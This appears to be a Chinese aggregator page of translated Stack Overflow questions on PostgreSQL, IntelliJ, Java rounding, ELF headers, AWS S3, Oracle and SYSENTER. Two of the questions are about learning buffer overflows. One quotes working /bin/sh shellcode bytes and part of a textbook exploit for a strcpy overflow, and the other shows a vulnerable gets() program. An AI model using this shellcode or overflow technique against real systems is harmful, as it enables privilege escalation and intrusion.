小编Rus*_*kov的帖子

在postgresql中打印变量的值

我有一个postgresql函数

CREATE OR REPLACE FUNCTION fixMissingFiles() RETURNS VOID AS $$
DECLARE
    deletedContactId integer;
    BEGIN
            SELECT INTO deletedContactId contact_id FROM myContacts WHERE id=206351;

            -- print the value of deletedContactId variable to the console

    END;
$$ LANGUAGE plpgsql;
Run Code Online (Sandbox Code Playgroud)

如何将deletedContactId的值打印到控制台?

sql postgresql

84
推荐指数
1
解决办法
12万
查看次数

Intellij想法darcula主题字体大小禁用

我有以下情况:

我开始使用Intellij Idea作为主要ide,我也使用Darcula主题.我喜欢它的一切,除了恼人的小字体和恼人的行间距.但是,当我尝试更改与任何其他主题一样的值时,我无法做到这一点,因为禁用了字体大小和行间距字段.

你知道如何修改Intellij idea的darcula主题默认字体大小吗?

ide themes intellij-idea

31
推荐指数
1
解决办法
1万
查看次数

来自剥削艺术书的缓冲区溢出示例

我正在阅读这本书"剥削艺术",这本书很好,我从exploit_notesearch.c文件中查看了这个例子.

简要的作者试图从notesearch.c溢出程序

int main(int argc, char *argv[]) {
    int userid, printing=1, fd;
    char searchstring[100];
    if(argc > 1) // If there is an arg
        strcpy(searchstring, argv[1]);
    else // otherwise,
        searchstring[0] = 0;
Run Code Online (Sandbox Code Playgroud)

main函数的参数被复制到searchstring数组,如果参数大于100字节,它将从main函数溢出返回地址.

作者在exploit_notesearch.c中准备shellcode并调用易受攻击的notesearch.c

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200);

    strcpy(command, "./notesearch \'");
    buffer = command + strlen(command);

    ret = (unsigned int) &i - offset; // Set return address

    for(i=0; …
Run Code Online (Sandbox Code Playgroud)

security exploit buffer-overflow shellcode

8
推荐指数
1
解决办法
4757
查看次数

Java舍入到最接近的0.05

我试图找到一种方法来将值舍入到最接近的0.05.例如:

  • 0.93轮到0.95
  • 0.81回合至0.80
  • 0.65保持0.65
  • 0.68到0.70
  • 0.67到0.65

在Java中有一种简单的方法吗?

java math rounding

8
推荐指数
1
解决办法
9543
查看次数

Sublime Text 3 Java自动完成

最近我正在认真考虑为我的所有项目切换到Sublime Text 3.现在,Sublime Text 3具有goto定义功能,它肯定更有用.但是,要成为Sublime下的一个快乐的程序员,我仍然需要一个正确的Java自动完成.Sublime Text 2有一个 - 它被称为sublimejava.不幸的是,这个插件并没有提供Sublime Text 3的魔力.

有没有人知道Sublime Text 3是否有一个用于Java自动完成的工作插件?

java ide autocomplete sublimetext2 sublimetext3

8
推荐指数
1
解决办法
2万
查看次数

在C中读取ELF头

目前我正在编写一个小程序来读取elf文件头并打印一些信息

我有一个名为buf的unsigned char指针指向elf文件在内存中的位置(我使用mmap将其映射到内存),然后我将它转换为正确的elf头指针

Elf32_Ehdr *ehdr = (Elf32_Ehdr *)buf;
Run Code Online (Sandbox Code Playgroud)

在此之后我想获得程序头表的地址,我这样做

Elf32_Phdr *ptbl = (Elf32_Phdr *) (buf + ehdr->e_phoff)
Run Code Online (Sandbox Code Playgroud)

正如我注意到ptbl指针的值不会改变,当我尝试打印e_phoff成员的值时,这样

fprintf( stdout , "Offset of program headers : %d\n", ehdr->e_phoff);
Run Code Online (Sandbox Code Playgroud)

我得到零当我尝试打印程序头的数量和节头数时,会发生同样的事情 - 总是得到零如果我使用linux readelf,它会打印正确的值有没有人遇到过同样的问题?

c linker elf

7
推荐指数
1
解决办法
5310
查看次数

AWS s3api列表对象返回多少个对象?

我在用:

aws s3api list-objects --endpoint-url https://my.end.point/ --bucket my.bucket.name --query 'Contents[].Key' --output text
Run Code Online (Sandbox Code Playgroud)

获取存储桶中的文件列表。

aws s3api list-object 文档页面说,该命令只返回多达1000个对象,但我注意到,在我的情况下,它会返回在我的桶中的所有文件的名称。例如,当我运行以下命令时:

aws s3api list-objects --endpoint-url https://my.end.point/ --bucket my.bucket.name --query 'Contents[].Key' --output text | tr "\t" "\n" | wc -l
Run Code Online (Sandbox Code Playgroud)

我显示了13512,这意味着返回了超过一万三千个文件名。

我错过了吗?

我使用以下aws cli版本:

aws-cli/1.10.57 Python/2.7.3 Linux/3.2.0-4-amd64 botocore/1.4.47
Run Code Online (Sandbox Code Playgroud)

linux amazon-s3 amazon-web-services

7
推荐指数
2
解决办法
861
查看次数

Dillema缓冲区溢出

我正在玩一个堆栈溢出示例.此示例如下所示:

 void return_input (void){ 
    char array[30];    
    gets (array); 
    printf("%s\n", array); 

 }

 main() { 
    return_input();    
    return 0;    
 }
Run Code Online (Sandbox Code Playgroud)

所有这些代码都在名为overflow.c的文件中.我们有一个名为return_input的易受攻击的函数,特别是它的30字节char数组.我编译它并在gdb中打开易受攻击的函数并得到以下输出:

 (gdb) disas return_input
 0x08048464 <+0>:   push   %ebp
 0x08048465 <+1>:   mov    %esp,%ebp
 0x08048467 <+3>:   sub    $0x48,%esp
 0x0804846a <+6>:   mov    %gs:0x14,%eax
 0x08048470 <+12>:  mov    %eax,-0xc(%ebp)
 0x08048473 <+15>:  xor    %eax,%eax
 0x08048475 <+17>:  lea    -0x2a(%ebp),%eax
 0x08048478 <+20>:  mov    %eax,(%esp)
 0x0804847b <+23>:  call   0x8048360 <gets@plt>
 0x08048480 <+28>:  lea    -0x2a(%ebp),%eax
 0x08048483 <+31>:  mov    %eax,(%esp)
 0x08048486 <+34>:  call   0x8048380 <puts@plt>
 0x0804848b <+39>:  mov    -0xc(%ebp),%eax
 0x0804848e …
Run Code Online (Sandbox Code Playgroud)

c assembly buffer-overflow

6
推荐指数
1
解决办法
278
查看次数

Oracle 公共服务器

我想了解 oracle,尝试一些 oracle 数据库的查询和其他 SQL 功能,但不想安装和处理所有相关问题。所以我的问题是 - 是否有任何公开可用的 oracle 服务器,我可以通过终端连接并使用它?

我的意思是我可以注册的服务,一些空间将分配给我的个人资料

database oracle

5
推荐指数
2
解决办法
7002
查看次数

64位模式下SYSENTER如何使用,IA32_SYSENTER_CS是什么?

阅读 SYSENTER 指令的描述,我发现了以下内容:

IA32_SYSENTER_CS包含环0代码段(CS)

我以为64位系统现在使用虚拟内存地址方案(分页),基本上不再依赖代码段(CS)寄存器。有人可以解释一下注册表中到底包含什么内容吗IA32_SYSENTER_CS

assembly kernel x86-64 sysenter

4
推荐指数
1
解决办法
1101
查看次数